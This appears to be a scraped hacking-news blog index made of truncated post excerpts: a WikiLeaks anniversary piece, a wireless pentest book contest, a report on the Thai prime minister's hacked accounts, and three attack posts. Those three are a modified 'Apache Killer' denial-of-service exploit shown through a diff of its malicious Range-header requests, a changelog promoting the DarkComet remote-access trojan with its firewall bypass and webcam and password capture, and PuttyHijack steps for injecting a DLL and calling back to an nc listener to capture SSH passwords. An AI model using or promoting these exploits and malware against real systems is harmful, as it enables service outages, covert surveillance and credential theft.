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Celebrating 5th Birthday of Wikileaks  (Born : 4th Oct 2006) The wikileaks.org domain name was registered on 4 October 2006. The website was unveiled, and published its first document, in December 2006. The site claims to have been " founded by Chinese dissidents, journalists, mathematicians and start-up company technologists, from the US, Taiwan, Europe, Australia and South Africa ". The creators of WikiLeaks have not been formally identified. It has been represented in public since January 2007 by Julian Assange and others. Assange describes himself as a member of WikiLeaks' advisory board. News reports in The Australian have called Assange the " founder of WikiLeaks ". According to Wired magazine, a volunteer said that Assange described himself in a private conversation as "the heart and soul of this organisation, its founder, philosopher, spokesperson, original coder, organizer, financier, and all the rest". 2006–08 WikiLeaks posted its fi...

Contest Winners Announcement : Wireless Penetration Testing Guide book We ran a competition for the book " Backtrack 5 Wireless Penetration Testing " last week. Today, Vivek Ramachandran, the author of the book and Founder of SecurityTube.net is announcing the winners in the video below. We will be contacting the winners via email soon. Two Best Comments Selected by Author are : Scott Herbert : For me it’s the “man-in-the middle” and other cutting edge wireless attacks that make it a book worth getting (even if I don’t win). neutronkaos : What interests me most about this book is that it is dedicated to wireless hacking. In an age where almost everybody is rocking a wireless AP, this book could do alot in offense and defense. I have been a Backtrack fan since Backtrack 3 and I have seen several of Mr. Ramachandran's primers on security tube. I am currently deployed to Afghanistan and I am working towards a degree in Network Security. I would love to have this boo...

Apache killer exploit modified for better Results " 4L4N4 K!LL3R " or Killapache  DDOS tool exploit, previously coded by kingscope 's , re-edited and coded by " S4(uR4 " , which kills apache and still many websites are vulnerable. S4(uR4 rewrite this exploit on php/curl (web based) with agressive mode. Exploit Consist of 2 part : 1) Test Part (for test u need use static content of site, maybe images, text, html, doc file, etc) 2) Xploiting Part Difference B/w Old and New Modified Exploit: 40c40 < $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; --- > $p = "HEAD ".($ARGV[2] ? $ARGV[2] : "/")."HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; 56c56 < $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; ---...

DarkComet-RAT v4.2 fwb (Firewall bypass) This version is firewall bypass it will inject to web browsers and bypass firewall rules. Targets are in this order : Firefox, Opera, Chrome, Safari, Internet Explorer and Explorer if all fails (normally never) then it runs normally. Notice now you can use remote computers as SOCKS5 proxies changelog: - Now server module doesn’t melt each times - SOCKS5 Server added – Multithread. - Camera streaming is now more stable - Camera capture interval added - Camera disable streatch enabled/disabled added - File Manager doesn’t crash on transfer anymore - Sound capture more stable and a bit faster - New process manager GUI and more user friendly - Process Dump added to the new process manager - Screen capture totally recoded, faster in Vista and Seven than before - Screen capture control more stable - No more black screen in screen capture on resize (avoid using 16bit colors in some systems) Most performant is 8Bit. - New password ...

Thailand Prime Minister Twitter, Facebook accounts Hacked Prime Minister Yingluck Shinawatra's personal Twitter account was hacked yesterday in what officials said was possibly part of a conspiracy to embarrass the government. The false tweets accused her of cronyism and various failures. The final post read: " If she can't even protect her own Twitter account, how can she protect the country? " Authorities vowed to prosecute the guilty parties. Information and Communication Technology Minister Anudith Nakornthap said an investigation found the hacker used a prepaid phone card and an iPhone to access the accounts. He denied a report that an arrest was imminent, but said details from the investigation would be announced today.Ms. Yingluck won a clear victory in July, but is accused by her critics of being a puppet of her brother, former Premier Thaksin Shinawatra who was thrown out of office in a 2006 military coup. " This country is a business. We work for...

Proof of Concept : PuttyHijack - Hijack SSH/PuTTY Sessions PuttyHijack is a POC tool that injects a dll into the Putty process to hijack an existing, or soon to be created, connection. This can be useful during penetration tests when a windows box that has been compromised is used to SSH/Telnet into other servers. The injected DLL installs hooks and creates a socket in guest operating system for a callback connection that is then used for input/output redirection. PuttyHijack does not kill the current connection, and will cleanly uninject if the socket or process is stopped. Leaves no race for further analysis. How to run/install PuttyHijack Start a nc listener on some fully controlled machine. Run PuttyHijack specify the listener ip and port on victime machine (Some socail engg skill may be helpfull) Watch the echoing of everything including passwords (grab it for further analysis) Help commands of PuttyHijack !disco – disconnect the real putty from the display !reco – ...